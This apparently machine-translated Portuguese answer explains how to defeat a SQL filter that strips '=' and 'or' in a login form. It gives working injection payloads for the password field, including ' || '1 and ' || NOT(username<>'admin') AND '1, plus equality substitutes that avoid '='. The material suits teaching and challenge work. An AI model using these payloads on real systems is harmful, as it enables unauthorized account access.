Assumindo esta definição de
lvl2_filter
, que basicamente remove qualquer ocorrência de =
e or
até não ser mais encontrado, ainda deve ser possível usar o operação OR lógica
com ||
em vez de OR
e uma expressão simples que é avaliada como verdadeira como:username: dummy
password: ' || '1
Isso resultaria em:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
Para selecionar um usuário específico, pode-se usar as regras de álgebra booleana , onde
x=y
=!(x!=y)
:username: dummy
password: ' || NOT(username<>'admin') AND '1
Isso resultaria em:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Aqui
<>
é equivalente a !=
mas não contém um =
. Existem também outras operações que podem ser usadas para garantir nome de usuário igual a
admin
:username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END
- …